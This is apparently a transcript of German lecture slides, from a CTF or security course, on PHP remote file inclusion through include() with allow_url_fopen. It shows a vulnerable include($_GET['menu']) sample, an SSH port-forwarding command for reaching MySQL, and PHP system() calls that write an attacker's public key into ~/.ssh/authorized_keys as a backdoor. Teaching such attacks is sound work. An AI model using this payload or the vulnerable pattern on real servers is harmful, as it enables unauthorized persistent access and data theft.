"> ">

Die Präsentation wird geladen. Bitte warten

Die Präsentation wird geladen. Bitte warten

Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Ähnliche Präsentationen


Präsentation zum Thema: "Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen."—  Präsentation transkript:

1 Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen

2 Grundlagen PHP Methoden Code dynamisch zu laden Include() und require() sowie deren Pendants include_once() sowie require_once() eval() Hier konzentrieren wir uns auf include() und require(), da gebräuchlicher.

3 include und require Grob: Mittels include und require kann eine Datei geladen werden vars.php <?php $color = 'green'; $fruit = 'apple'; ?> test.php <?php echo "A $color $fruit"; // A include 'vars.php'; echo "A $color $fruit"; // A green apple ?>

4 Einfache Programmierung? PHP ermöglicht es den Programmierer, leicht Dateien über verschiedene Protokolle zu öffnen – Beispiel: <?php $file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); if (!$file) { echo " Unable to open remote file for writing.\n"; exit; } /* Write the data here. */ fwrite ($file, "My Data". "\n"); fclose ($file); ?>

5 Teufelswerk allow_url_fopen allow_url_fopen erlaubt das Öffnen von Dateien mittels einer URL. Gilt nicht nur für File-Funktionen wie fopen, sondern auch für include(), require() usw. Ist per Default angeschaltet!

6 Code-Beispiel aus einem früheren CTF myfuncs.php <?php function myheader($title) { $menu = $_GET["menu"]; // [..] include($menu); // [..] } // [..] ?> Mit dem HTTP-Parameter menu wird angegeben welches Menü geladen werden soll: http://server/test.php?menu=mainmenu.php test.php <?php include(myfuncs.php); // [..] myheader(test); // [..] ?>

7 Ausnutzung der Lücke

8 Abschluß Code-Injection Fragen?

9 Warum Einbau eines SSH-Public Keys Public Key Authentifikation – unabhängig vom User-Passwort in /etc/shadow SSH erlaubt Logins ohne Shell (z.B. nur Portforwarding) – normalerweise taucht eine Session auf: jtb@public:~$ who user1 pts/1 Apr 26 10:18 (pd1234567.dip0.t-ipconnect.de) jtb pts/5 Apr 26 11:33 (x337.vpn.hrz.tu-darmstadt.de)

10 SSH-Verbindung ohne Shell Beispielaufruf von SSH: ssh -T -i private.key –L 3306:localhost:3306 user@server -T Disable pseudo-tty allocation. -i identity_file Selects a file from which the identity (private key) for RSA or DSA authentication is read. -L port:host:hostport Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side.

11 Verbindungsdiagramm Angriffsrechner Opfer Direkte MySQL- Verbindungen nicht möglich Aber direkte SSH- Verbindung ist möglich! SSH MySQL Diese Verbindung kommt von localhost

12 SSH Public Key Erstellen mit ssh-keygen: ssh-keygen –t rsa So sieht der private Schlüssel aus: -----BEGIN RSA PRIVATE KEY----- MII [..] -----END RSA PRIVATE KEY----- Public Key wird hochgeladen, private Key bleibt bei euch! weibler@ultra18 ~/.ssh>cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFZ4xz8EnOZ9x8TpMGV9kY BohRbG+QzW3UGfSV2AynOjUxlaABatDGnCskthsm60RWSkZns7m4O y2Loyu0XXQzLXIebkfy7cYtrFmKrAKxF6zifDBxL7bsJ0XPujYzRJ 7JSCyuQ+lrldY7NseI/PbfoIhwXYIa6RRrRcxWN6VXgdGIVq9xTjg aBVHRutOmttJVKtaiejJG0I9ZAjpTsGwyKkppzxXfDFgRfzxJozQS KLZOdKRVjoqxL1vc7p0GD0aOfSkWpQIGWyO6ziwy41CUFpAdE9uZB 6F9abCxZkzWdz08w2K5ONlLgCyBVb/hlDgPS9PZaBjXe3qvMrm9R8 J

13 PHP-Code für den Einbau Beispielhaft mit system-Calls: <?php system(mkdir ~/.ssh); system(echo ssh-rsa [KEY] > ~/.ssh/authorized_keys); ?>


Herunterladen ppt "Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen."

Ähnliche Präsentationen


Google-Anzeigen